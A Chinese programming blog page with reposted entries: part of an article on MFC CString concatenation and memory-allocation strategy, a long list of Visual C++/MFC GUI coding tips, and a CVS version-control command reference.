      总之,你可能会想,首先,它为 SomeCString1 分配一块内存,然后把 SomeCString1 复制到里面,然后发现它要做一个连接,则重新分配一块新的足够大的内存,大到能够放下当前的字符串加上SomeCString2,把内容复制到这块内存 ,然后把 SomeCString2 连接到后面,然后释放第一块内存,并把指针重新指向新内存。然后为每个字符串重复这个过程。把这 4 个字符串连接起来效率多低啊。事实上,在很多情况下根本就不需要复制源字符串(在 += 操作符左边的字符串)。
      在 VC++6.0 中,Release 模式下,所有的 CString 中的缓存都是按预定义量子分配的。所谓量子,即确定为 64、128、256 或者 512 字节。这意味着除非字符串非常长,连接字符串的操作实际上就是 strcat 经过优化后的版本(因为它知道本地的字符串应该在什么地方结束,所以不需要寻找字符串的结尾;只需要把内存中的数据拷贝到指定的地方即可)加上重新计算字符串的长度。所以它的执行效率和纯 C 的代码是一样的,但是它更容易写、更容易维护和更容易理解。
      如果你还是不能确定究竟发生了怎样的过程,请看看 CString 的源代码,strcore.cpp,在你 vc98的安装目录的 mfc/src 子目录中。看看 ConcatInPlace 方法,它被在所有的 += 操作符中调用。

    啊哈!难道 CString 真的这么"高效"吗?比如,如果我创建
    CString cat("Mew!");
      然后我并不是得到了一个高效的、精简的5个字节大小的缓冲区(4个字符加一个结束字符),系统将给我分配64个字节,而其中59个字节都被浪费了。
      如果你也是这么想的话,那么就请准备好接受再教育吧。可能在某个地方某个人给你讲过尽量使用少的空间是件好事情。不错,这种说法的确正确,但是他忽略了事实中一个很重要的方面。
      如果你编写的是运行在16K EPROMs下的嵌入式程序的话,你有理由尽量少使用空间,在这种环境下,它能使你的程序更健壮。但是在 500MHz, 256MB的机器上写 Windows 程序,如果你还是这么做,它只会比你认为的“低效”的代码运行得更糟。
      举例来说。字符串的大小被认为是影响效率的首要因素,使字符串尽可能小可以提高效率,反之则降低效率,这是大家一贯的想法。但是这种想法是不对的,精确的内存分配的后果要在程序运行了好几个小时后才能体现得出来,那时,程序的堆中将充满小片的内存,它们太小以至于不能用来做任何事,但是他们增加了你程序的内存用量,增加了内存页面交换的次数,当页面交换的次数增加到系统能够忍受的上限,系统则会为你的程序分配更多的页面,直到你的程序占用了所有的可用内存。由此可见,虽然内存碎片是决定效率的次要因素,但正是这些因素实际控制了系统的行为,最终,它损害了系统的可靠性,这是令人无法接受的。
      记住,在 debug 模式下,内存往往是精确分配的,这是为了更好的排错。
      假设你的应用程序通常需要连续工作好几个月。比如,我常打开 VC++,Word,PowerPoint,Frontpage,Outlook Express,Forté Agent,Internet Explorer和其它的一些程序,而且通常不关闭它们。我曾经夜以继日地连续用 PowerPoint 工作了好几天(反之,如果你不幸不得不使用像 Adobe FrameMaker 这样的程序的话,你将会体会到可靠性的重要;这个程序机会每天都要崩溃4~6次,每次都是因为用完了所有的空间并填满我所有的交换页面)。所以精确内存分配是不可取的,它会危及到系统的可靠性,并引起应用程序崩溃。
      按量子的倍数为字符串分配内存,内存分配器就可以回收用过的内存块,通常这些回收的内存块马上就可以被其它的 CString 对象重新用到,这样就可以保证碎片最少。分配器的功能加强了,应用程序用到的内存就能尽可能保持最小,这样的程序就可以运行几个星期或几个月而不出现问题。
      题外话:很多年以前,我们在 CMU 写一个交互式系统的时候,一些对内存分配器的研究显示出它往往产生很多内存碎片。Jim Mitchell,现在他在 Sun Microsystems 工作,那时侯他创造了一种内存分配器,它保留了一个内存分配状况的运行时统计表,这种技术和当时的主流分配器所用的技术都不同,且较为领先。当一个内存块需要被分割得比某一个值小的话,他并不分割它,因此可以避免产生太多小到什么事都干不了的内存碎片。事实上他在内存分配器中使用了一个浮动指针,他认为:与其让指令做长时间的存取内存操作,还不如简单的忽略那些太小的内存块而只做一些浮动指针的操作。(His observation was that the long-term saving in instructions by not having to ignore unusable small storage chunks far and away exceeded the additional cost of doing a few floating point operations on an allocation operation.)他是对的。
      永远不要认为所谓的“最优化”是建立在每一行代码都高速且节省内存的基础上的,事实上,高速且节省内存应该是在一个应用程序的整体水平上考虑的。在软件的整体水平上,只使用最小内存的字符串分配策略可能是最糟糕的一种方法。
      如果你认为优化是你在每一行代码上做的那些努力的话,你应该想一想:在每一行代码中做的优化很少能真正起作用。你可以看我的另一篇关于优化问题的文章《Your Worst Enemy for some thought-provoking ideas》。
      记住,+= 运算符只是一种特例,如果你写成下面这样:
    CString s = SomeCString1 + SomeCString2 + SomeCString3 + "," + SomeCString4;
    则每一个 + 的应用会造成一个新的字符串被创建和一次复制操作。
  • 2007-1-14
    很好的文章,转至此:
    一、改变视图背景色:
        在CView的OnDraw函数中添写如下一段程序代码:
        void CFileNameView::OnDraw(CDC* pDC)
        {
     CFileNameDoc* pDoc = GetDocument();
     ASSERT_VALID(pDoc);
     CRect rectClient;
     CBrush brushBkColor;
     GetClientRect(rectClient);
     brushBkColor.CreateSolidBrush(RGB(255,0,0)); //颜色设置
     pDC->DPtoLP(rectClient);
     pDC->FillRect(rectClient,&brushBkColor);
     …
        }
    二、往基于对话框的程序添加菜单:
    [1] 先添加菜单(IDR_MENU1)资源,并加上需要的菜单项。
    [2] 编辑对话框资源IDD_DLGMENUTOOLBAR_DIALOG的属性,在属性对话框中选择IDR_MENU1即可。
      
    [3] 假如您不希望在对话框属性中直接设置菜单,而通过代码在程序中动态生成可以采用如下方法:
    在CFileNameDlg类声名中添加成员变量CMenu m_menu,再在CFileNameDlg::OnInitDialog() 中添加如下代码:
    //加载菜单
    m_menu.LoadMenu(IDR_MENU1);
    //设置当前菜单
    SetMenu(&m_menu);
    //当你不需要菜单时可以用 SetMenu(NULL);来取消当前菜单
    三、往基于Dialog的程序添加工具栏:
    [1] 先添加工具栏(IDR_TOOLBAR1)资源,并画好各个按钮。
    [2] 在CFileNameDlg类声名中添加成员变量 CToolBar m_wndtoolbar;
    [3] 在CFileNameDlg::OnInitDialog() 中添加如下代码
    //添加一个平面工具条
    if (!m_wndtoolbar.CreateEx( this,TBSTYLE_FLAT ,  WS_CHILD | WS_VISIBLE | CBRS_ALIGN_TOP | CBRS_GRIPPER | CBRS_TOOLTIPS, CRect(4,4,0,0)) || !m_wndtoolbar.LoadToolBar(IDR_TOOLBAR1) )
    {
     TRACE0("failed to create toolbar/n");
     return FALSE;
    }
    m_wndtoolbar.ShowWindow(SW_SHOW);
    RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0);
    四、改变对话框背景色:
    在CDlgMenuToolbarDlg::OnPaint()中修改代码实现Dialog 填充颜色:
    CPaintDC dc(this);
    CRect rect;
    GetClientRect(rect);
    dc.FillSolidRect(rect, RGB(60,110,170));
    方法二、在InitInstance()(不是OnInitDialog())中加入:
    SetDialogBkColor(RGB(255,0,0),RGB(0,255,0));
    注意:要放在InitInstance函数的最前面!
    五、为dialog的工具栏添加工具提示:
    [1] 在CFileNameDlg类定义中手工添加消息映射函数的定义,如下黑体部分
       //{{AFX_MSG(CFileNameDlg)
     virtual BOOL OnInitDialog();
     afx_msg void OnPaint();
     afx_msg BOOL OnToolTipText(UINT, NMHDR* pNMHDR, LRESULT* pResult);
     //}}AFX_MSG
     DECLARE_MESSAGE_MAP()
    [2] 在CFileNameDlg.cpp添加函数的实现代码
    //工具栏提示
    BOOL CFileNameDlg::OnToolTipText(UINT, NMHDR* pNMHDR, LRESULT* pResult)
    {
     ASSERT(pNMHDR->code == TTN_NEEDTEXTA || pNMHDR->code == TTN_NEEDTEXTW); 
     // UNICODE消息
     TOOLTIPTEXTA* pTTTA = (TOOLTIPTEXTA*)pNMHDR;
     TOOLTIPTEXTW* pTTTW = (TOOLTIPTEXTW*)pNMHDR;
     //TCHAR szFullText[512];
     CString strTipText;
     UINT nID = pNMHDR->idFrom;
     
     if (pNMHDR->code == TTN_NEEDTEXTA && (pTTTA->uFlags & TTF_IDISHWND) ||
      pNMHDR->code == TTN_NEEDTEXTW && (pTTTW->uFlags & TTF_IDISHWND))
     {
      // idFrom为工具条的HWND
      nID = ::GetDlgCtrlID((HWND)nID);
     }
     
     if (nID != 0) //不为分隔符
     {
      strTipText.LoadString(nID);
      strTipText = strTipText.Mid(strTipText.Find(’/n’,0)+1);
      
    #ifndef _UNICODE
      if (pNMHDR->code == TTN_NEEDTEXTA)
      {
       lstrcpyn(pTTTA->szText, strTipText, sizeof(pTTTA->szText));
      }
      else
      {
       _mbstowcsz(pTTTW->szText, strTipText, sizeof(pTTTW->szText));
      }
    #else
      if (pNMHDR->code == TTN_NEEDTEXTA)
      {
       _wcstombsz(pTTTA->szText, strTipText,sizeof(pTTTA->szText));
      }
      else
      {
       lstrcpyn(pTTTW->szText, strTipText, sizeof(pTTTW->szText));
      }
    #endif  
      *pResult = 0;  
      // 使工具条提示窗口在最上面
      ::SetWindowPos(pNMHDR->hwndFrom, HWND_TOP, 0, 0, 0, 0,SWP_NOACTIVATE|
       SWP_NOSIZE|SWP_NOMOVE|SWP_NOOWNERZORDER);
      return TRUE;
     }
     return TRUE;
    }
    [3] 在CFileNameDlg.cpp中添加消息映射,请看如下代码中的黑体部分
    BEGIN_MESSAGE_MAP(CFileNameDlg, CDialog)
     //{{AFX_MSG_MAP(CFileNameDlg)
     ON_WM_PAINT()
     ON_NOTIFY_EX( TTN_NEEDTEXT, 0, OnToolTipText )
     //}}AFX_MSG_MAP
    END_MESSAGE_MAP()
    [4] 在CFileNameDlg.h中添加声明:
    BOOL CFileNameDlg::OnToolTipText(UINT, NMHDR* pNMHDR, LRESULT* pResult);
    六、给没有工具栏的窗口添加工具栏:
    在资源管理器中编辑工具栏,并将其属性改为IDR_MAINFRAME,然后在MainFrm.h中声明:
    CToolBar m_wndToolBar;
    在MainFrm.cpp中添加:
    int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)
    {
     m_wndToolBar.Create(this);
     m_wndToolBar.LoadToolBar(IDR_MAINFRAME);
     ……;

    停靠工具栏:在刚才添加的后面加入下面代码:
    m_wndToolBar.SetBarStyle(m_wndToolBar.GetBarStyle()|CBRS_TOOLTIPS|CBRS_SIZE_DYNAMIC);
    m_wndToolBar.EnableDocking(CBRS_ALIGN_ANY);
    EnableDocking(CBRS_ALIGN_ANY);
    DockControlBar(&m_wndToolBar);//控制是否开启任意停靠
    完善一下功能:
    在菜单中添加一项“工具栏”,ID设为ID_VIEW_TOOLBAR,一切OK,试试吧!
    七、创建分隔窗口:
    只有框架类可以创建分隔,分隔可以嵌套。
    在.h文件中声明 CSplitterWnd m_wndSplitter;并且包含COneView.h(新建视图类)和CWinFrame.h(新建框架类)文件;
    然后在.cpp文件中加入:
    BOOL CMainFrame::OnCreateClient(LPCREATESTRUCT lpcs, CCreateContext* pContext)
    {
     if(!m_wndSplitter.CreateStatic(this,1,2))
        return FALSE;
     if(!m_wndSplitter.CreateView(0,0,RUNTIME_CLASS(COneView),CSize(240,420),pContext))
        return FALSE;
     if(!m_wndSplitter.CreateView(0,1,RUNTIME_CLASS(CWinFrame),CSize(300,500),pContext))
        return FALSE;
     return TRUE;
    }
    当用户创建好分割窗口后,有时并不希望通过拖动切分条来调节窗口的大小。这时就必须锁定切分条。锁定切分条的最简单的方法莫过于不让 CSplitterWnd来处理WM_LBUTTONDOWN,WM_MOUSEMOVE,WM_SETCURSOR消息,而是将这些消息交给CWnd窗口进行处理,从而屏蔽掉这些消息。拿WM_LBUTTONDOWN处理过程来说。修改为如下:
    void CXXSplitterWnd::OnLButtonDown(UINT nFlags,CPoint point)
    {
      CWnd::OnLButtonDown(nFlags,point);
    }
    其余的处理方法类似。
    八、“打开”按钮的设置:
        用类向导创建该按钮的click函数,选择默认值OnOpen,加入以下代码:
    void CYourDlg::OnOpen()
    {
     char szFileFilter[]=
           "BIN File(*.bin)|*.bin|"
           "All File(*.*)|*.*||";//文件类型过滤
     CFileDialog dlg(TRUE,NULL,NULL,OFN_HIDEREADONLY,szFileFilter);
    /* CFileDialog dlg(FALSE);
       dlg.m_ofn .lpstrFilter =_T("文本文件(*.txt)*.txt所有文件(*.*)*.*");
       dlg.m_ofn.lpstrDefExt=_T("txt"); */
     if(dlg.DoModal()==IDOK)
     {
      m_path = dlg.GetPathName();//将显示路径的Edit控件命名为m_path,并增加CString变量m_path
      UpdateData(FALSE); 
     } 
    }
    九、窗口居中:
    在初始化(OnInit)函数中增加:CenterWindow();即可
    十、对话框加状态条:
        UINT indicators[]={ID_INITMESSAGE,ID_SEPARATOR,ID_TIMEMESSAGE,ID_PROGRESS};
        m_statusbar.CreateEx(this,0,WS_CHILD | WS_VISIBLE | CBRS_BOTTOM);
        m_statusbar.SetIndicators(indicators,4);
        m_statusbar.ShowWindow (SW_SHOW);
        RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0);
    十一、设置初始窗口状态:
    BOOL CObjectNameApp::InitInstance()
    {
     m_pMainWnd->SetWindowText(""); //设置初始窗口标题文本
     m_pMainWnd->ShowWindow(SW_SHOWMAXIMIZED);//设置初始窗口为最大化
     m_pMainWnd->UpdateWindow();

    对于MDI函数SetWindowText无效,主窗口的标题只能在资源列表中修改,子窗口标题在**doc.cpp中重载OnNewDocument(),调用SetTitle("LGdownload中文版");来修改。
    设置初始窗口最大化的另一优化方法:
    void CMainFrame::ActivateFrame(int nCmdShow)
    {
        // TODO: Add your specialized code here and/or call the base class
        nCmdShow=SW_MAXIMIZE;
        CFrameWnd::ActivateFrame(nCmdShow);
    }
    十二、对话框透明特效:
    在OnInitDialog()中加入以下代码:
    //加入WS_EX_LAYERED扩展属性
    SetWindowLong(this->GetSafeHwnd(),GWL_EXSTYLE,
    GetWindowLong(this->GetSafeHwnd(),GWL_EXSTYLE)^0x80000);
    HINSTANCE hInst = LoadLibrary("User32.DLL");
    if(hInst)
    {
     typedef BOOL (WINAPI *MYFUNC)(HWND,COLORREF,BYTE,DWORD);
     MYFUNC fun = NULL;
     //取得SetLayeredWindowAttributes函数指针
     fun=(MYFUNC)GetProcAddress(hInst, "SetLayeredWindowAttributes");
     if(fun)fun(this->GetSafeHwnd(),0,128,2);
     FreeLibrary(hInst);
    }
    注意:fun的参数128不能太小,否则就完全透明了!
    十三、设置对话框里的STATIC控件颜色属性:
    在该对话框增加WM_CTLCOLOR事件,加入以下代码:
    if( nCtlColor==CTLCOLOR_STATIC )
    {
        pDC->SetTextColor(RGB(255,255,255));
        pDC->SetBkColor(RGB(91,145,244));
      pDC->SetBkMode(TRANSPARENT); //设置透明
    }
    设置STATIC控件背景透明:
    if( nCtlColor==CTLCOLOR_STATIC )
    {
     pDC->SetBkMode(TRANSPARENT); //设置透明
     return (HBRUSH)::GetStockObject(NULL_BRUSH);
    }
    十四、使窗口的最大化和最小化按钮消失:
    在PreCreateWindow函数中添加以下代码即可:
        int xSize = ::GetSystemMetrics( SM_CXSCREEN );
        int ySize = ::GetSystemMetrics( SM_CYSCREEN );
        cs.cx = xSize * 6 / 10;
        cs.cy = ySize * 6 / 10;
        cs.x = ( xSize - cs.cx ) / 2;
        cs.y = ( ySize - cs.cy ) / 2;

        cs.style &= ~WS_THICKFRAME;
        cs.style &= ~( WS_MAXIMIZEBOX | WS_MINIMIZEBOX );

        cs.dwExStyle |= WS_EX_TOOLWINDOW;
    十五、设置控件字体颜色:
    (例如STATIC控件)
    在OnCtlColor函数中添加如下代码:(可能需要选择STATIC的简单属性)
    if(nCtlColor==CTLCOLOR_STATIC)  
    {  pDC->SetTextColor(RGB(255,0,0));
       pDC->SetBkColor(RGB(128,128,128));//设置文本背景色
     pDC->SetBkMode(TRANSPARENT);//设置背景透明
    }
    其他控件的宏定义为:
      .CTLCOLOR_BTN       按钮控件
      .CTLCOLOR_DLG       对话框
      .CTLCOLOR_EDIT      编辑框
      .CTLCOLOR_LISTBOX   列表控件
      .CTLCOLOR_MSGBOX    消息控件
      .CTLCOLOR_SCROLLBAR 滚动条控件
      .CTLCOLOR_STATIC    静态控件  
    十六、将字符转换为数字:
    int i = atoi("12345"); 或 sscanf("12345","%d",&i);  
    十七、调用外部应用程序可使用的函数:
      CreateProcess、WinExec、ShellExecute。
    例:ShellExecute(pWnd->m_wnd, "open", "my.exe", NULL, NULL, SW_NORMAL)
    一、父窗体句柄,二、命令"open",三、文件路径,四、参数,五、运行路径,六、显示方式
    十八、经典安装程序制作软件:
    InstallShield for Microsoft Visual C++6.0
    release 方式是在build菜单中的Set Active configuration中改
    在project菜单里面,选Add to Project的component and control来加入ocx控件
    十九、控件的注册:
    1.注册
    regsvr32 x:/xxx/demo.ocx 不一定非得在 Windows 系统目录
    2.卸载
    regsvr32 /u x:/xxx/demo.ocx
    二十、获取当前时间:
    CTime m_time=CTime::GetCurrentTime();
    char szText[100];
    memset(szText,0,100);
    sprintf(szText,"%d_%d_%d",m_time.GetHour(),m_time.GetMinite(),m_time.GetSecond());
        // 如何得到当前时间日期
        CTime time = CTime::GetCurrentTime();  
        CString m_strTime = time.Format("%Y-%m-%d %H:%M:%S");
        // 方法二
        SYSTEMTIME ti;
        GetSystemTime(&ti); // 如何得到当前时间日期
        ti.wMilliseconds; // 得到毫秒时间
    SYSTEMTIME time;
    CString str;
    GetLocalTime( &time );
    str.Format( "%04d:%02d:%02d",time.wYear,time.wMonth.....);
    二一、修改单文档程序的标题:
    OnCreat()中加入  SetWindowText("weichao");
    CMainFrame::PreCreateWindow(CREATESTRUCT& cs)中加入  cs.style =WS_OVERLAPPEDWINDOW;
    二二、隐藏程序在任务栏的图标:
    对话框程序放OnInitDialog()函数:
    SetWindowLong(this->m_hWnd,GWL_EXSTYLE,WS_EX_TOOLWINDOW);//隐藏任务拦按钮
    二三、读取编辑框内容:
        GetDlgItemText(IDC_EDIT_TXDATA,m_strTXData);
    二四、自绘菜单宽度不对,高度是对的,解决办法:
    在ClassWizard中的ClassName下,选CMianFrame,在Messages下选WM_CONTEXTMENU并生成相应的函数,如下:
     void CMainFrame::OnContextMenu(CWnd* pWnd, CPoint point)
     {
      CMenu menu;
         menu.LoadMenu(IDR_MENU1);//IDR_MENU1是你要弹出菜单的ID号.
         CMenu *popup=menu.GetSubMenu(0);
         popup->TrackPopupMenu(TPM_LEFTALIGN,point.x,point.y,this);
     }
    二五、重启计算机:
    调用一个API函数ExitWindowsEx就可以了, 两个参数:UFlag,标记,可以选择EWX_REBOOT,EWX_SHUTDOWN,EWX_POWEROFF再或上EWX_FORCE第二个参数就是0了
    二六、无title对话框的移动:
    void CScreenSnapDlg::OnLButtonDown(UINT nFlags, CPoint point)
    {
        //实现窗体无标题移动
        PostMessage(WM_NCLBUTTONDOWN,HTCAPTION,MAKELPARAM(point.x,point.y));
        
        CDialog::OnLButtonDown(nFlags, point);
    }
    二七、获取操作系统版本:
    OSVERSIONINFO OsVersionInfo;//包含操作系统版本信息的数据结构
    OsVersionInfo.dwOSVersionInfoSize= sizeof(OSVERSIONINFO);
    GetVersionEx(&OsVersionInfo);//获取操作系统版本信息
    二八、设置对话框为最顶层:
    (在OnInitDialog中添加)
    SetWindowPos(&wndTopMost,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
    二九、对话框程序不在任务栏显示:
    (在OnInitDialog中添加)
    ModifyStyleEx(WS_EX_APPWINDOW,WS_EX_TOOLWINDOW);
    三十、向对话框窗口添加右键菜单:
     CMenu  menu,*pmenu;  
     menu.LoadMenu(IDR_MENU1);  
     pmenu=menu.GetSubMenu(0);  
     
     CPoint  ptScreen(point);  
     ClientToScreen(&ptScreen);  
     
     pmenu->TrackPopupMenu(TPM_RIGHTBUTTON,ptScreen.x,ptScreen.y,this);  
    三一、文件查找:
    (例如查找连续的换行符)
     FILE *fp,*fp1;
     int flag=0;
     int ch;
     fp=fopen("c://test.txt","r");
     fp1=fopen("c://wrttest.txt","w");

     while(!feof(fp))
     {
      ch=fgetc(fp);
      if(feof(fp))
       break;
      if(ch==’/n’&&flag==1)
       continue;
      else if(ch==’/n’&&flag==0)
       flag=1;
      else
       flag=0;
      fputc(ch,fp1);
     }
     fclose(fp1);
     fclose(fp);
    三二、托盘菜单不点击不能消失的解决办法:
    在菜单之后使用下述代码:
            CPoint pt;
            GetCursorPos(&pt);
            
            SetForegroundWindow();
            NotifyMenu.TrackPopupMenu(TPM_RIGHTBUTTON,pt.x,pt.y,this);
            PostMessage(WM_NULL,0,0);
    三三、对话框由小到大显示的动画效果:
    在InitDialog中增加:
     ShowWindow(SW_HIDE);
     CRect dlgRect;
     GetClientRect(&dlgRect);
     CPoint centerPoint;
     centerPoint.x=dlgRect.Width()/2;
     centerPoint.y=dlgRect.Height()/2;//得到对话框的中点坐标
     CRgn testrgn;
     this->ShowWindow(SW_HIDE);  
     int m=GetSystemMetrics(SM_CYSIZEFRAME);
     
     //以下代码实现对话框的动态弹出
     
     for (int i=10;i<dlgRect.Width()/2+m;i+=1)
     {   
      testrgn.CreateRectRgn(centerPoint.x-i,centerPoint.y-i,centerPoint.x+i,centerPoint.y+i);
      SetWindowRgn((HRGN) testrgn,TRUE);
      ShowWindow(SW_SHOW);
      CenterWindow();
      testrgn.DeleteObject();
     }
    三四、按行读出文本文件:
    下面的例子演示了一行一行取,直到取完。
     CStdioFile myFile;
       CString ReadFileString;
     if(myFile.Open("C://Readme.txt", Cfile::modeRead) == TRUE)
     {
      while(myFile.ReadString(ReadFileString) != FALSE)
      { 
         //... 处理代码 
      }
     }
    三五、使用IDC_HAND时提示未定义,加入以下代码:
    #if(WINVER >= 0x0500)
    #define IDC_HAND            MAKEINTRESOURCE(32649)
    #endif /* WINVER >= 0x0500 */
    三六、使应用程序启动时不自动创建新文档:
    在默认情况下,用AppWizard开发的SDI/MDI应用程序在启动时创建一个新的文档。如果要使应用程序在启动时不创建新文档,只需在应用类 CmyApp::InitInstance()函数的ProcessShellCommand调用前加上下面的语句就可以了:
     cmdInfo.m_nShellCommand = CComandLineInfo::FileNothing;
    三七、播放mp3:
        CFileDialog file(true);
        if(file.DoModal()==IDOK)
        {
            CString filename=file.GetFileName();
            if(hwnd!=NULL)
            {
                MCIWndDestroy(hwnd);
            }
            hwnd=MCIWndCreate(this->m_hWnd,NULL,MCIWNDF_NOPLAYBAR,filename);
            ::ShowWindow(hwnd,SW_HIDE);
            MCIWndSetVolume(hwnd,1000);
            MCIWndPlay(hwnd);
        }
    三八、获取屏幕RGB值:
     OnTimer中添加
     CPoint pos;
     GetCursorPos(&pos);//获取鼠标坐标
     HDC hDC = ::GetDC(NULL);
     COLORREF clr = ::GetPixel(hDC, pos.x, pos.y);
        
     CString ClrText;
     ClrText.Format("R:%d G:%d B:%d",GetRvalue(clr),GetGvalue(clr),GetBvalue(clr));
    三九、打开一个网址:
    打开
    http://www.sina.com.cn 这个站点如下:
    ShellExecute(NULL, "open", "http://www.sina.com.cn",NULL, NULL, SW_MAXIMIZE );
    此命令将以默认浏览器打开http://www.sina.com.cn,并将加开后的窗口最大化。
    又例:
    ShellExecute(NULL, "open", "IEXPLORE.exe http://www.sina.com.cn",NULL, NULL, SW_MAXIMIZE );
    此命令将直接用IE打开一个sina的站点。不过将开一个新的窗口。
    四十、位图按钮:
    CButton *pRadio = (CButton*)GetDlgItem(IDC_RADIO);
    pRadio->SetBitmap(::LoadBitmap(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDB_BITMAP)));
  • 2007-1-12
    原文: http://www.chedong.com/tech/cvs_card.html
     
    关键词:CVS CVSWeb CVSTrac WinCVS CVSROOT
    内容摘要:
    CVS是一个C/S系统,多个开发人员通过一个中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。工作模式如下:
           CVS服务器(文件版本库)
    / | /
    (版 本 同 步)
    / | /
    开发者1 开发者2 开发者3


    CVS环境初始化
    环境设置:指定CVS库的路径CVSROOT
    export CVSROOT=:pserver:username@192.168.88.36:/home/cvsroot
    其中的username视你的用户名而更换
    使用CVSROOT环境变量登陆cvs:
    cvs login
    或者用-d指定,将会覆盖CVSROOT的设定:
    cvs –d “:pserver:username@192.168.88.36:/home/cvsroot”  login
    退出:
    cvs logout
    或者
    cvs –d “:pserver:username@192.168.88.36:/home/cvsroot”  logout
     
    2.     项目的导入与导出
     
    一个项目的首次导入
    cvs import -m "comments" project_name vendor_tag release_tag
    执行后:会将所有源文件及目录导入到/home/cvsroot/project_name目录下
    vender_tag: 开发商标记(其实这是一个标记tag)
    release_tag: 版本发布标记(其实这是一个分支branch)
    项目导出:将代码从CVS库里导出
    cvs checkout project_name
    cvs 将创建project_name目录,并将最新版本的源代码导出到相应目录中。
    注意:项目第一次导出以后,就不是通过cvs checkout来同步文件了,而是要进入刚才cvs checkout project_name导出的project_name目录下进行具体文件的版本同步(添加,修改,删除)操作。
    常用命令有checkout、commit、status、update、remove等,分别对应缩写co、ci、st、up、rm
     
    3.     查看状态
     
    下面的命令用于查看文件的状态,不带文件名则为查看当前目录下所有文件的状态
    cvs status file_name
     
    可能的状态有:
    Up-to-date    :最新版,本地与服务器一致
    Locally Modified:本地已修改,可提交
    Needs Patch   :服务器已修改,需更新
    Needs Merge   :本地与服务器均有修改,需合并
     
    4.     将文件同步到最新的版本
     
    cvs update
    不指定文件名,cvs将同步所有子目录下的文件,也可以指定某个文件名/目录进行同步
    cvs update file_name
    最好每天开始工作前或将自己的工作导入到CVS库里前都要做一次,并养成“先同步 后修改”的习惯,如果你修改过程中,有其他人修改并commit到了CVS 库中,CVS会通知你文件冲突,并自动将冲突部分用
    <<<<<<
    content in your file
    ======
    content on cvs server
    >>>>>>
    标记出来,由你确认冲突内容的取舍。
    版本冲突一般是在多个人修改一个文件造成的,但这种项目管理上的问题不应该指望由CVS来解决。
     
    5.     提交你的修改
     
    cvs commit -m "write some comments here" file_name
    注意:CVS 的很多动作都是通过cvs commit进行最后确认并修改的,最好每次只修改一个文件。在确认之前,还需要用户填写修改注释,以帮助其他开发人员了解修改的原因。如果不用写-m "comments"而直接确认`cvs commit file_name` 的话,cvs会自动调用系统缺省的文字编辑器要求你写入注释。
    注释的质量很重要,所以不仅必须要写,而且必须写一些比较有意义的内容,以方便其他开发人员能够很好的理解
    不好的注释,很难让其他的开发人员快速的理解:比如: -m "bug fixed" 甚至 -m ""
    好的注释,甚至可以用中文: -m "在用户注册过程中加入了Email地址校验"
    修改某个版本注释:每次只确认一个文件到CVS库里是一个很好的习惯,但难免有时候忘了指定文件名,把多个文件以同样注释commit到CVS库里了,以下命令可以允许你修改某个文件某个版本的注释:
    cvs admin -m 1.3:"comments" file_name
    6.     添加/删除文件和目录
     
    创建好新文件后,执行
    cvs add new_file
    此时仅仅是把该文件列入计划,然后必须提交:
    cvs ci –m “add new_file” new_file
    注意:对于图片,Word文档等非纯文本的项目,需要使用cvs add -kb选项按2进制文件方式导入(k表示扩展选项,b表示binary),否则有可能出现文件被破坏的情况
    比如:
    cvs add -kb new_file.gif
    cvs add -kb readme.doc
     
    将某个源文件物理删除后,比如:rm file_name
    cvs rm file_name
    然后确认修改并注释
    cvs ci -m "write some comments here" file_name
    以上面前2步合并的方法为:
    cvs rm -f file_name
    cvs ci -m "why delete file" file_name
     
    cvs里没有cvs move或cvs rename,因为这两个操作是可以由先cvs remove old_file_name,然后cvs add new_file_name实现的。
     
    创建好目录后,执行
    cvs add dir_name
    即可添加目录
     
    CVS中删除目录必须先删除目录中的文件,然后用cvs up –P通知服务器删除空目录
    移动目录则必须
    1.创建目录
    2.创建目录中的文件
     在本地把文件移动到新目录中,然后参照添加文件的方法在服务器中添加文件
    3.删除旧目录中的文件,然后用cvs up –P通知服务器删除空目录
    目录重名名按照移动目录的方法进行操作。
     
    7.     查看修改历史
     
    cvs log file_name
    cvs history file_name
     
    8.     查看当前文件不同版本的区别
     
    cvs diff -r1.3 -r1.5 file_name
    查看当前文件(可能已经修改了)和库中相应文件的区别
    cvs diff file_name
     
    9.     通过CVS恢复旧版本
     
    正确的恢复版本的方法是:cvs update -p -r1.2 file_name>file_name
     
    10.  导出不带CVS目录的源文件
     
    做开发的时候你可能注意到了,每个开发目录下,CVS 都创建了一个CVS/目录。里面有文件用于记录当前目录和CVS库之间的对应信息。但项目发布的时候你一般不希望把文件目录还带着含有CVS信息的CVS 目录吧,这个一次性的导出过程使用cvs export命令,不过export只能针对一个TAG或者日期导出,比如:
    cvs export -r release1 project_name
    cvs export -D 20021023 project_name
    cvs export -D now project_name
     
    11.  打标记
     
    多个文件各自版本号不一样,项目到一定阶段,可以给所有文件统一指定一个阶段里程碑标记,方便以后按照这个阶段里程碑标记导出项目,同时也是项目的多个分支开发的基础。
    cvs tag release_1_0
     
    12.  开始一个新的里程碑
     
    cvs commit -r 2 标记所有文件开始进入2.x的开发
    注意:CVS里的revsion和软件包的发布版本可以没有直接的关系。但所有文件使用和发布版本一致的版本号比较有助于维护。
     
    13.  版本分支的建立
     
    在开发项目的2.x版本的时候发现1.x有问题,但2.x又不敢用,则从先前标记的里程碑:release_1_0导出一个分支 release_1_0_patch
    cvs rtag -b -r release_1_0 release_1_0_patch project_name
    一些人先在另外一个目录下导出release_1_0_patch这个分支,解决1.0中的紧急问题
    cvs checkout -r release_1_0_patch
    而其他人员仍旧在项目的主干分支2.x上开发
    在release_1_0_patch上修正错误后,标记一个1.0的错误修正版本号
    cvs tag release_1_0_patch_1
    如果2.0认为这些错误修改在2.0里也需要,也可以在2.0的开发目录下合并release_1_0_patch_1中的修改到当前代码中:
    cvs update -j release_1_0_patch_1
     
    14.  使用锁
     
    默认方式下,CVS允许多个用户编辑同一个文件,这对一个协作良好的团队来说不会有什么问题,因为多个开发者同时修改同一个文件的同一部分是不正常的,这在项目管理中就应该避免,出现这种情况说明项目组内部没有统一意见。而多个开发者修改文件的不同部分,CVS可以很好的管理。
